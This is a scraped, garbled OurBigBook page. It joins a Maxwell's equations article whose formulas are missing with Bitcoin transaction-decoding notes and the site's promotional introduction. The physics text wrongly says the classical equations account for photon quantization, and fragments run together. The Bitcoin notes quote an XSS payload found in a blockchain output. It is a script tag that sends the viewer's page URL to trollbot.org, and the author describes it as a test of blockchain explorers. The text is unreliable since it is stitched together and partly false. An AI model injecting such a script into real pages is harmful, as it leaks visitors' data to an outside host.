Explains the propagation of light as a wave, and matches the previously known relationship between the speed of light and electromagnetic constants.
The equations are a limit case of the more complete quantum electrodynamics, and unlike that more general theory account for the quantization of photon.
The system consists of 6 unknown functions that map 4 variables: time t and the x, y and z positions in space, to a real number:and two known input functions:
- , , : directions of the electric field
- , , : directions of the magnetic field
Due to the conservation of charge however, those input functions have the following restriction:
Equation 1.
Charge conservation
. Also consider the following cases:
The goal of finding and is that those fields allow us to determine the force that gets applied to a charge via the Equation "Lorentz force", and then to find the force we just need to integrate over the entire body.
Finally, now that we have defined all terms involved in the Maxwell equations, let's see the equations:
Equation 2.
Gauss' law
. Equation 3.
Gauss's law for magnetism
. Equation 4.
Faraday's law
. Equation 5.
Ampere's circuital law
. You should also review the intuitive interpretation of divergence and curl.
Cryogenic electron microscopy, which was developed in the 70's.
As seen from explicit scalar form of the Maxwell's equations, this expands to 8 equations, so the question arises if the system is over-determined because it only has 6 functions to be determined.
As explained on the Wikipedia page however, this is not the case, because if the first two equations hold for the initial condition, then the othe six equations imply that they also hold for all time, so they can be essentially omitted.
It is also worth noting that the first two equations don't involve time derivatives. Therefore, they can be seen as spacial constraints.
TODO: the electric field and magnetic field can be expressed in terms of the electric potential and magnetic vector potential. So then we only need 4 variables?
4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by 
Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16Output 0 does:where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:This is almost spendable with:but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`1 OP_TOALTSTACK 10 1 2Online forums that lock threads after some time are evil. What else needs to be said?
77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69 by Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16Ouptut 0 disassembles as:The large constant contains an ASCII Bitcoin Core patch entitled
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIFRemove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept:From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE
I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
backends/bitcoind/deserialize.py | 8 +-------
1 file changed, 1 insertion(+), 7 deletions(-)
diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
"OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
"OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
"OP_CHECKMULTISIGVERIFY",
- ("OP_SINGLEBYTE_END", 0xF0),
- ("OP_DOUBLEBYTE_BEGIN", 0xF000),
"OP_PUBKEY", "OP_PUBKEYHASH",
- ("OP_INVALIDOPCODE", 0xFFFF),
+ ("OP_INVALIDOPCODE", 0xFF),
])
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
vch = None
opcode = ord(bytes[i])
i += 1
- if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
- opcode <<= 8
- opcode |= ord(bytes[i])
- i += 1
if opcode <= opcodes.OP_PUSHDATA4:
nSize = opcode
--
1.7.9.4bitcointalk.org/index.php?topic=5231222.0 discusses what happens if there is an invalid opcode in a branch that is not taken.
Pinned article: Introduction to the OurBigBook Project
Welcome to the OurBigBook Project! Our goal is to create the perfect publishing platform for STEM subjects, and get university-level students to write the best free STEM tutorials ever.
Everyone is welcome to create an account and play with the site: ourbigbook.com/go/register. We belive that students themselves can write amazing tutorials, but teachers are welcome too. You can write about anything you want, it doesn't have to be STEM or even educational. Silly test content is very welcome and you won't be penalized in any way. Just keep it legal!
Intro to OurBigBook
. Source. We have two killer features:
- topics: topics group articles by different users with the same title, e.g. here is the topic for the "Fundamental Theorem of Calculus" ourbigbook.com/go/topic/fundamental-theorem-of-calculusArticles of different users are sorted by upvote within each article page. This feature is a bit like:
- a Wikipedia where each user can have their own version of each article
- a Q&A website like Stack Overflow, where multiple people can give their views on a given topic, and the best ones are sorted by upvote. Except you don't need to wait for someone to ask first, and any topic goes, no matter how narrow or broad
This feature makes it possible for readers to find better explanations of any topic created by other writers. And it allows writers to create an explanation in a place that readers might actually find it.
Figure 1. Screenshot of the "Derivative" topic page. View it live at: ourbigbook.com/go/topic/derivativeVideo 2. OurBigBook Web topics demo. Source. - local editing: you can store all your personal knowledge base content locally in a plaintext markup format that can be edited locally and published either:This way you can be sure that even if OurBigBook.com were to go down one day (which we have no plans to do as it is quite cheap to host!), your content will still be perfectly readable as a static site.
- to OurBigBook.com to get awesome multi-user features like topics and likes
- as HTML files to a static website, which you can host yourself for free on many external providers like GitHub Pages, and remain in full control
Figure 3. Visual Studio Code extension installation.
Figure 4. Visual Studio Code extension tree navigation.
Figure 5. Web editor. You can also edit articles on the Web editor without installing anything locally.Video 3. Edit locally and publish demo. Source. This shows editing OurBigBook Markup and publishing it using the Visual Studio Code extension.Video 4. OurBigBook Visual Studio Code extension editing and navigation demo. Source. 
- Infinitely deep tables of contents:
All our software is open source and hosted at: github.com/ourbigbook/ourbigbook
Further documentation can be found at: docs.ourbigbook.com
Feel free to reach our to us for any help or suggestions: docs.ourbigbook.com/#contact